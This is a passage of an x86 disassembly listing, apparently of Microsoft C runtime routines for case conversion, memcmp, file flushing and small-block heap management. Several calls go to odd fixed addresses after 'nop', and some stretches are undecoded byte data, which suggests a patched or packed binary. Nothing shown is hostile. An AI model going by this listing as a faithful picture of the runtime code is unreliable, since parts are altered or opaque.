		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2680000h
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		call	near ptr 2800000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 1Fh
		dd 5E176D8Dh, 0E229582Bh, 8873D21Ah, 0A164AB93h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0C2E890E8h, 33024541h,	89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 454152E8h, 0C90CA302h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 73E89056h, 5002262Bh, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 265092Ah
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2680000h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 268056Eh
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26C055Ah
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4723A8E8h
		dd 0A3C08502h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
		dd 24721D8h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 21BEE890h, 0C0850238h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
